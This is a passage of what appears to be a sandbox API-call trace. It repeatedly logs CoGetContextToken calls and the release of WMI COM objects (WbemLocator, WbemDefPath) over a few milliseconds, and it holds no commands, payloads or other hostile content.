WbemLocator:IUnknown:Release (This=0x1bf548f0) returned 0x0 [0082.623] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.623] WbemLocator:IUnknown:Release (This=0x1bef8a40) returned 0x1 [0082.623] WbemLocator:IUnknown:Release (This=0x1bef8a40) returned 0x0 [0082.623] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.623] IUnknown:Release (This=0x1bf45e40) returned 0x1 [0082.623] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.623] WbemLocator:IUnknown:Release (This=0x1bf53b70) returned 0x1 [0082.623] WbemLocator:IUnknown:Release (This=0x1bf53b70) returned 0x0 [0082.624] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.624] WbemLocator:IUnknown:Release (This=0x11f9650) returned 0x1 [0082.624] WbemLocator:IUnknown:Release (This=0x11f9650) returned 0x0 [0082.624] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.624] WbemLocator:IUnknown:Release (This=0x1bf54230) returned 0x1 [0082.624] WbemLocator:IUnknown:Release (This=0x1bf54230) returned 0x0 [0082.624] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.624] IUnknown:Release (This=0x11eb430) returned 0x1 [0082.624] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.624] WbemLocator:IUnknown:Release (This=0x1bececc0) returned 0x1 [0082.624] WbemLocator:IUnknown:Release (This=0x1bececc0) returned 0x0 [0082.624] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.625] WbemLocator:IUnknown:Release (This=0x11dacb0) returned 0x1 [0082.625] WbemLocator:IUnknown:Release (This=0x11dacb0) returned 0x0 [0082.625] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.625] WbemLocator:IUnknown:Release (This=0x1becf000) returned 0x1 [0082.625] WbemLocator:IUnknown:Release (This=0x1becf000) returned 0x0 [0082.625] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.626] IUnknown:Release (This=0x11ec780) returned 0x1 [0082.626] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.626] WbemLocator:IUnknown:Release (This=0x1bf63b40) returned 0x1 [0082.626] WbemLocator:IUnknown:Release (This=0x1bf63b40) returned 0x0 [0082.626] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.626] WbemLocator:IUnknown:Release (This=0x1bf61c50) returned 0x1 [0082.626] WbemLocator:IUnknown:Release (This=0x1bf61c50) returned 0x0 [0082.627] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.627] WbemLocator:IUnknown:Release (This=0x1bf63e80) returned 0x1 [0082.627] WbemLocator:IUnknown:Release (This=0x1bf63e80) returned 0x0 [0082.627] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.627] IUnknown:Release (This=0x11ed8b0) returned 0x1 [0082.627] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.627] WbemLocator:IUnknown:Release (This=0x1bf769f0) returned 0x1 [0082.627] WbemLocator:IUnknown:Release (This=0x1bf769f0) returned 0x0 [0082.627] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.627] WbemLocator:IUnknown:Release (This=0x1bf62af0) returned 0x1 [0082.627] WbemLocator:IUnknown:Release (This=0x1bf62af0) returned 0x0 [0082.628] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.628] WbemLocator:IUnknown:Release (This=0x1bf76d50) returned 0x1 [0082.628] WbemLocator:IUnknown:Release (This=0x1bf76d50) returned 0x0 [0082.628] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.628] IUnknown:Release (This=0x11ee9e0) returned 0x1 [0082.628] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.628] WbemLocator:IUnknown:Release (This=0x1bf77790) returned 0x1 [0082.628] WbemLocator:IUnknown:Release (This=0x1bf77790) returned 0x0 [0082.628] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.628] WbemLocator:IUnknown:Release (This=0x1bf8b3b0) returned 0x1 [0082.628] WbemLocator:IUnknown:Release (This=0x1bf8b3b0) returned 0x0 [0082.629] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.629] WbemLocator:IUnknown:Release (This=0x1bf77ad0) returned 0x1 [0082.629] WbemLocator:IUnknown:Release (This=0x1bf77ad0) returned 0x0 [0082.629] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.629] IUnknown:Release (This=0x11efb10) returned 0x1 [0082.629] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.629] WbemLocator:IUnknown:Release (This=0x1bfa7090) returned 0x1 [0082.629] WbemLocator:IUnknown:Release (This=0x1bfa7090) returned 0x0 [0082.629] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.629] WbemLocator:IUnknown:Release (This=0x1130280) returned 0x1 [0082.629] WbemLocator:IUnknown:Release (This=0x1130280) returned 0x0 [0082.630] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.630] WbemLocator:IUnknown:Release (This=0x1bfa7390) returned 0x1 [0082.630] WbemLocator:IUnknown:Release (This=0x1bfa7390) returned 0x0 [0082.630] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.630] IUnknown:Release (This=0x11fce00) returned 0x1 [0082.630] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.630] WbemLocator:IUnknown:Release (This=0x1bfa7df0) returned 0x1 [0082.631] WbemLocator:IUnknown:Release (This=0x1bfa7df0) returned 0x0 [0082.631] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.631] WbemLocator:IUnknown:Release (This=0x1bfb9ce0) returned 0x1 [0082.631] WbemLocator:IUnknown:Release (This=0x1bfb9ce0) returned 0x0 [0082.632] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.632] WbemLocator:IUnknown:Release (This=0x1bfa8130) returned 0x1 [0082.632] WbemLocator:IUnknown:Release (This=0x1bfa8130) returned 0x0 [0082.632] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.632] IUnknown:Release (This=0x11fdf30) returned 0x1 [0082.632] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.632] WbemLocator:IUnknown:Release (This=0x1bfa8b70) returned 0x1 [0082.632] WbemLocator:IUnknown:Release (This=0x1bfa8b70) returned 0x0 [0082.632] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.632] WbemLocator:IUnknown:Release (This=0x1bfbab80) returned 0x1 [0082.632] WbemLocator:IUnknown:Release (This=0x1bfbab80) returned 0x0 [0082.633] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.633] WbemLocator:IUnknown:Release (This=0x1bfa8eb0) returned 0x1 [0082.633] WbemLocator:IUnknown:Release (This=0x1bfa8eb0) returned 0x0 [0082.633] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.633] IUnknown:Release (This=0x116fd40) returned 0x1 [0082.633] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.633] WbemLocator:IUnknown:Release (This=0x1c000dc0) returned 0x1 [0082.633] WbemLocator:IUnknown:Release (This=0x1c000dc0) returned 0x0 [0082.633] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.633] WbemLocator:IUnknown:Release (This=0x1bfbba20) returned 0x1 [0082.633] WbemLocator:IUnknown:Release (This=0x1bfbba20) returned 0x0 [0082.634] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.634] WbemLocator:IUnknown:Release (This=0x1c001100) returned 0x1 [0082.634] WbemLocator:IUnknown:Release (This=0x1c001100) returned 0x0 [0082.634] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.634] IUnknown:Release (This=0x1170e70) returned 0x1 [0082.634] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.634] WbemLocator:IUnknown:Release (This=0x1c001b40) returned 0x1 [0082.634] WbemLocator:IUnknown:Release (This=0x1c001b40) returned 0x0 [0082.634] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.634] WbemLocator:IUnknown:Release (This=0x1c0097c0) returned 0x1 [0082.634] WbemLocator:IUnknown:Release (This=0x1c0097c0) returned 0x0 [0082.635] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.635] WbemLocator:IUnknown:Release (This=0x1c001e80) returned 0x1 [0082.635] WbemLocator:IUnknown:Release (This=0x1c001e80) returned 0x0 [0082.635] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.635] IUnknown:Release (This=0x1171fa0) returned 0x1 [0082.635] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.635] WbemLocator:IUnknown:Release (This=0x1c0216c0) returned 0x1 [0082.635] WbemLocator:IUnknown:Release (This=0x1c0216c0) returned 0x0 [0082.635] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.635] WbemLocator:IUnknown:Release (This=0x1c017f90) returned 0x1 [0082.635] WbemLocator:IUnknown:Release (This=0x1c017f90) returned 0x0 [0082.636] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.636] WbemLocator:IUnknown:Release (This=0x1c021a00) returned 0x1 [0082.636] WbemLocator:IUnknown:Release (This=0x1c021a00) returned 0x0 [0082.636] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.636] IUnknown:Release (This=0x1c028680) returned 0x1 [0082.636] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.636] WbemLocator:IUnknown:Release (This=0x1c022440) returned 0x1 [0082.636] WbemLocator:IUnknown:Release (This=0x1c022440) returned 0x0 [0082.636] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.636] WbemLocator:IUnknown:Release (This=0x1c018e30) returned 0x1 [0082.637] WbemLocator:IUnknown:Release (This=0x1c018e30) returned 0x0 [0082.637] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.637] WbemLocator:IUnknown:Release (This=0x1c022780) returned 0x1 [0082.637] WbemLocator:IUnknown:Release (This=0x1c022780) returned 0x0 [0082.637] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.637] IUnknown:Release (This=0x1c0297b0) returned 0x1 [0082.637] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.637] WbemLocator:IUnknown:Release (This=0x1c0231c0) returned 0x1 [0082.637] WbemLocator:IUnknown:Release (This=0x1c0231c0) returned 0x0 [0082.637] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.638] WbemLocator:IUnknown:Release (This=0x1c03f420) returned 0x1 [0082.638] WbemLocator:IUnknown:Release (This=0x1c03f420) returned 0x0 [0082.638] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.638] WbemLocator:IUnknown:Release (This=0x1c053db0) returned 0x1 [0082.638] WbemLocator:IUnknown:Release (This=0x1c053db0) returned 0x0 [0082.638] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.638] IUnknown:Release (This=0x1c02a8e0) returned 0x1 [0082.638] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.638] WbemLocator:IUnknown:Release (This=0x1c0547f0) returned 0x1 [0082.638] WbemLocator:IUnknown:Release (This=0x1c0547f0) returned 0x0 [0082.638] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.639] WbemLocator:IUnknown:Release (This=0x1c054b30) returned 0x1 [0082.639] WbemLocator:IUnknown:Release (This=0x1c054b30) returned 0x0 [0082.639] CoGetContextToken (in: pToken=0x135f710 | out: pToken=0x135f710) returned 0x0 [0082.639] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.639] WbemDefPath:IUnknown:Release (This=0x1169440) returned 0x1 [0082.639] WbemDefPath:IUnknown:Release (This=0x1169440) returned 0x0 [0082.639] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.639] WbemDefPath:IUnknown:Release (This=0x1169d40) returned 0x1 [0082.639] WbemDefPath:IUnknown:Release (This=0x1169d40) returned 0x0 [0082.639] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.639] WbemDefPath:IUnknown:Release (This=0x1169ec0) returned 0x1 [0082.639] WbemDefPath:IUnknown:Release (This=0x1169ec0) returned 0x0 [0082.639] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.639] WbemDefPath:IUnknown:Release (This=0x1169f80) returned 0x1 [0082.639] WbemDefPath:IUnknown:Release (This=0x1169f80) returned 0x0 [0082.639] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.639] WbemDefPath:IUnknown:Release (This=0x116a100) returned 0x1 [0082.639] WbemDefPath:IUnknown:Release (This=0x116a100) returned 0x0 [0082.639] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.639] WbemDefPath:IUnknown:Release (This=0x116a1c0) returned 0x1 [0082.639] WbemDefPath:IUnknown:Release (This=0x116a1c0) returned 0x0 [0082.639] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.639] WbemDefPath:IUnknown:Release (This=0x116a340) returned 0x1 [0082.639] WbemDefPath:IUnknown:Release (This=0x116a340) returned 0x0 [0082.640] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.640] WbemDefPath:IUnknown:Release (This=0x1169800) returned 0x1 [0082.640] WbemDefPath:IUnknown:Release (This=0x1169800) returned 0x0 [0082.640] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.640] WbemDefPath:IUnknown:Release (This=0x116a400) returned 0x1 [0082.640] WbemDefPath:IUnknown:Release (This=0x116a400) returned 0x0 [0082.640] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.640] WbemDefPath:IUnknown:Release (This=0x116a580) returned 0x1 [0082.640] WbemDefPath:IUnknown:Release (This=0x116a580) returned 0x0 [0082.640] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.640] WbemDefPath:IUnknown:Release (This=0x116a640) returned 0x1 [0082.640] WbemDefPath:IUnknown:Release (This=0x116a640) returned 0x0 [0082.640] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.640] WbemDefPath:IUnknown:Release (This=0x116a700) returned 0x1 [0082.640] WbemDefPath:IUnknown:Release (This=0x116a700) returned 0x0 [0082.640] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.640] WbemDefPath:IUnknown:Release (This=0x116a940) returned 0x1 [0082.640] WbemDefPath:IUnknown:Release (This=0x116a940) returned 0x0 [0082.640] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.641] WbemDefPath:IUnknown:Release (This=0x116aa00) returned 0x1 [0082.641] WbemDefPath:IUnknown:Release (This=0x116aa00) returned 0x0 [0082.641] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.641] WbemDefPath:IUnknown:Release (This=0x1169c80) returned 0x1 [0082.641] WbemDefPath:IUnknown:Release (This=0x1169c80) returned 0x0 [0082.641] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.641] WbemDefPath:IUnknown:Release (This=0x1bea00b0) returned 0x1 [0082.641] WbemDefPath:IUnknown:Release (This=0x1bea00b0) returned 0x0 [0082.641] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.641] WbemDefPath:IUnknown:Release (This=0x1bea0170) returned 0x1 [0082.641] WbemDefPath:IUnknown:Release (This=0x1bea0170) returned 0x0 [0082.641] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.641] WbemDefPath:IUnknown:Release (This=0x116a040) returned 0x1 [0082.641] WbemDefPath:IUnknown:Release (This=0x116a040) returned 0x0 [0082.641] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.641] WbemDefPath:IUnknown:Release (This=0x1bea03b0) returned 0x1 [0082.641] WbemDefPath:IUnknown:Release (This=0x1bea03b0) returned 0x0 [0082.641] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.641] WbemDefPath:IUnknown:Release (This=0x1bea0470) returned 0x1 [0082.641] WbemDefPath:IUnknown:Release (This=0x1bea0470) returned 0x0 [0082.641] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.642] WbemDefPath:IUnknown:Release (This=0x1bea0530) returned 0x1 [0082.642] WbemDefPath:IUnknown:Release (This=0x1bea0530) returned 0x0 [0082.642] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.642] WbemDefPath:IUnknown:Release (This=0x1bea05f0) returned 0x1 [0082.642] WbemDefPath:IUnknown:Release (This=0x1bea05f0) returned 0x0 [0082.642] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.642] WbemDefPath:IUnknown:Release (This=0x1bea0770) returned 0x1 [0082.642] WbemDefPath:IUnknown:Release (This=0x1bea0770) returned 0x0 [0082.642] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.642] WbemDefPath:IUnknown:Release (This=0x116a4c0) returned 0x1 [0082.642] WbemDefPath:IUnknown:Release (This=0x116a4c0) returned 0x0 [0082.642] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.642] WbemDefPath:IUnknown:Release (This=0x1bea08f0) returned 0x1 [0082.642] WbemDefPath:IUnknown:Release (This=0x1bea08f0) returned 0x0 [0082.642] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.642] WbemDefPath:IUnknown:Release (This=0x1bea09b0) returned 0x1 [0082.642] WbemDefPath:IUnknown:Release (This=0x1bea09b0) returned 0x0 [0082.642] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.642] WbemDefPath:IUnknown:Release (This=0x1bea0a70) returned 0x1 [0082.642] WbemDefPath:IUnknown:Release (This=0x1bea0a70) returned 0x0 [0082.643] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.643] WbemDefPath:IUnknown:Release (This=0x1bea0bf0) returned 0x1 [0082.643] WbemDefPath:IUnknown:Release (This=0x1bea0bf0) returned 0x0 [0082.643] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.643] WbemDefPath:IUnknown:Release (This=0x116a880) returned 0x1 [0082.643] WbemDefPath:IUnknown:Release (This=0x116a880) returned 0x0 [0082.643] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.643] WbemDefPath:IUnknown:Release (This=0x1bea0d70) returned 0x1 [0082.643] WbemDefPath:IUnknown:Release (This=0x1bea0d70) returned 0x0 [0082.643] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.643] WbemDefPath:IUnknown:Release (This=0x1bea0e30) returned 0x1 [0082.643] WbemDefPath:IUnknown:Release (This=0x1bea0e30) returned 0x0 [0082.643] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.643] WbemDefPath:IUnknown:Release (This=0x1bea0fb0) returned 0x1 [0082.643] WbemDefPath:IUnknown:Release (This=0x1bea0fb0) returned 0x0 [0082.643] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.643] WbemDefPath:IUnknown:Release (This=0x1bea02f0) returned 0x1 [0082.643] WbemDefPath:IUnknown:Release (This=0x1bea02f0) returned 0x0 [0082.643] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.643] WbemDefPath:IUnknown:Release (This=0x1bea1070) returned 0x1 [0082.644] WbemDefPath:IUnknown:Release (This=0x1bea1070) returned 0x0 [0082.644] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.644] WbemDefPath:IUnknown:Release (This=0x1bea1130) returned 0x1 [0082.644] WbemDefPath:IUnknown:Release (This=0x1bea1130) returned 0x0 [0082.644] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.644] WbemDefPath:IUnknown:Release (This=0x1bea12b0) returned 0x1 [0082.644] WbemDefPath:IUnknown:Release (This=0x1bea12b0) returned 0x0 [0082.644] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.644] WbemDefPath:IUnknown:Release (This=0x1bea06b0) returned 0x1 [0082.644] WbemDefPath:IUnknown:Release (This=0x1bea06b0) returned 0x0 [0082.644] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.644] WbemDefPath:IUnknown:Release (This=0x1bea1430) returned 0x1 [0082.644] WbemDefPath:IUnknown:Release (This=0x1bea1430) returned 0x0 [0082.644] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.644] WbemDefPath:IUnknown:Release (This=0x1bea14f0) returned 0x1 [0082.644] WbemDefPath:IUnknown:Release (This=0x1bea14f0) returned 0x0 [0082.644] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.644] WbemDefPath:IUnknown:Release (This=0x1bea15b0) returned 0x1 [0082.644] WbemDefPath:IUnknown:Release (This=0x1bea15b0) returned 0x0 [0082.645] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.645] WbemDefPath:IUnknown:Release (This=0x1bea17f0) returned 0x1 [0082.645] WbemDefPath:IUnknown:Release (This=0x1bea17f0) returned 0x0 [0082.645] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.645] WbemDefPath:IUnknown:Release (This=0x1bea0b30) returned 0x1 [0082.645] WbemDefPath:IUnknown:Release (This=0x1bea0b30) returned 0x0 [0082.645] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.645] WbemDefPath:IUnknown:Release (This=0x1bea18b0) returned 0x1 [0082.645] WbemDefPath:IUnknown:Release (This=0x1bea18b0) returned 0x0 [0082.645] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.645] WbemDefPath:IUnknown:Release (This=0x1bea1970) returned 0x1 [0082.645] WbemDefPath:IUnknown:Release (This=0x1bea1970) returned 0x0 [0082.645] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.645] WbemDefPath:IUnknown:Release (This=0x1bea1a30) returned 0x1 [0082.645] WbemDefPath:IUnknown:Release (This=0x1bea1a30) returned 0x0 [0082.645] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.645] WbemDefPath:IUnknown:Release (This=0x1bea0ef0) returned 0x1 [0082.645] WbemDefPath:IUnknown:Release (This=0x1bea0ef0) returned 0x0 [0082.645] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.645] WbemDefPath:IUnknown:Release (This=0x1bea1af0) returned 0x1 [0082.646] WbemDefPath:IUnknown:Release (This=0x1bea1af0) returned 0x0 [0082.646] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.646] WbemDefPath:IUnknown:Release (This=0x1bea1d30) returned 0x1 [0082.646] WbemDefPath:IUnknown:Release (This=0x1bea1d30) returned 0x0 [0082.646] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.646] WbemDefPath:IUnknown:Release (This=0x1bea1df0) returned 0x1 [0082.646] WbemDefPath:IUnknown:Release (This=0x1bea1df0) returned 0x0 [0082.646] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.646] WbemDefPath:IUnknown:Release (This=0x1bea1eb0) returned 0x1 [0082.646] WbemDefPath:IUnknown:Release (This=0x1bea1eb0) returned 0x0 [0082.646] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.646] WbemDefPath:IUnknown:Release (This=0x119a5e0) returned 0x1 [0082.646] WbemDefPath:IUnknown:Release (This=0x119a5e0) returned 0x0 [0082.646] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.646] WbemDefPath:IUnknown:Release (This=0x1bea1370) returned 0x1 [0082.646] WbemDefPath:IUnknown:Release (This=0x1bea1370) returned 0x0 [0082.646] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.646] WbemDefPath:IUnknown:Release (This=0x119a760) returned 0x1 [0082.646] WbemDefPath:IUnknown:Release (This=0x119a760) returned 0x0 [0082.646] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.647] WbemDefPath:IUnknown:Release (This=0x119a820) returned 0x1 [0082.647] WbemDefPath:IUnknown:Release (This=0x119a820) returned 0x0 [0082.647] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.647] WbemDefPath:IUnknown:Release (This=0x1bea1730) returned 0x1 [0082.647] WbemDefPath:IUnknown:Release (This=0x1bea1730) returned 0x0 [0082.647] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.647] WbemDefPath:IUnknown:Release (This=0x119a8e0) returned 0x1 [0082.647] WbemDefPath:IUnknown:Release (This=0x119a8e0) returned 0x0 [0082.647] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.647] WbemDefPath:IUnknown:Release (This=0x119aa60) returned 0x1 [0082.647] WbemDefPath:IUnknown:Release (This=0x119aa60) returned 0x0 [0082.647] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.647] WbemDefPath:IUnknown:Release (This=0x119ab20) returned 0x1 [0082.647] WbemDefPath:IUnknown:Release (This=0x119ab20) returned 0x0 [0082.647] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.647] WbemDefPath:IUnknown:Release (This=0x119aca0) returned 0x1 [0082.647] WbemDefPath:IUnknown:Release (This=0x119aca0) returned 0x0 [0082.647] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.647] WbemDefPath:IUnknown:Release (This=0x119ae20) returned 0x1 [0082.647] WbemDefPath:IUnknown:Release (This=0x119ae20) returned 0x0 [0082.648] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.648] WbemDefPath:IUnknown:Release (This=0x119aee0) returned 0x1 [0082.648] WbemDefPath:IUnknown:Release (This=0x119aee0) returned 0x0 [0082.648] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.648] WbemDefPath:IUnknown:Release (This=0x1bea1bb0) returned 0x1 [0082.648] WbemDefPath:IUnknown:Release (This=0x1bea1bb0) returned 0x0 [0082.648] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.648] WbemDefPath:IUnknown:Release (This=0x119afa0) returned 0x1 [0082.648] WbemDefPath:IUnknown:Release (This=0x119afa0) returned 0x0 [0082.648] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.648] WbemDefPath:IUnknown:Release (This=0x119b120) returned 0x1 [0082.648] WbemDefPath:IUnknown:Release (This=0x119b120) returned 0x0 [0082.648] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.648] WbemDefPath:IUnknown:Release (This=0x1bea1f70) returned 0x1 [0082.648] WbemDefPath:IUnknown:Release (This=0x1bea1f70) returned 0x0 [0082.648] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.648] WbemDefPath:IUnknown:Release (This=0x119b2a0) returned 0x1 [0082.648] WbemDefPath:IUnknown:Release (This=0x119b2a0) returned 0x0 [0082.648] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.649] WbemDefPath:IUnknown:Release (This=0x119b360) returned 0x1 [0082.649] WbemDefPath:IUnknown:Release (This=0x119b360) returned 0x0 [0082.649] CoGetContextToken (in: 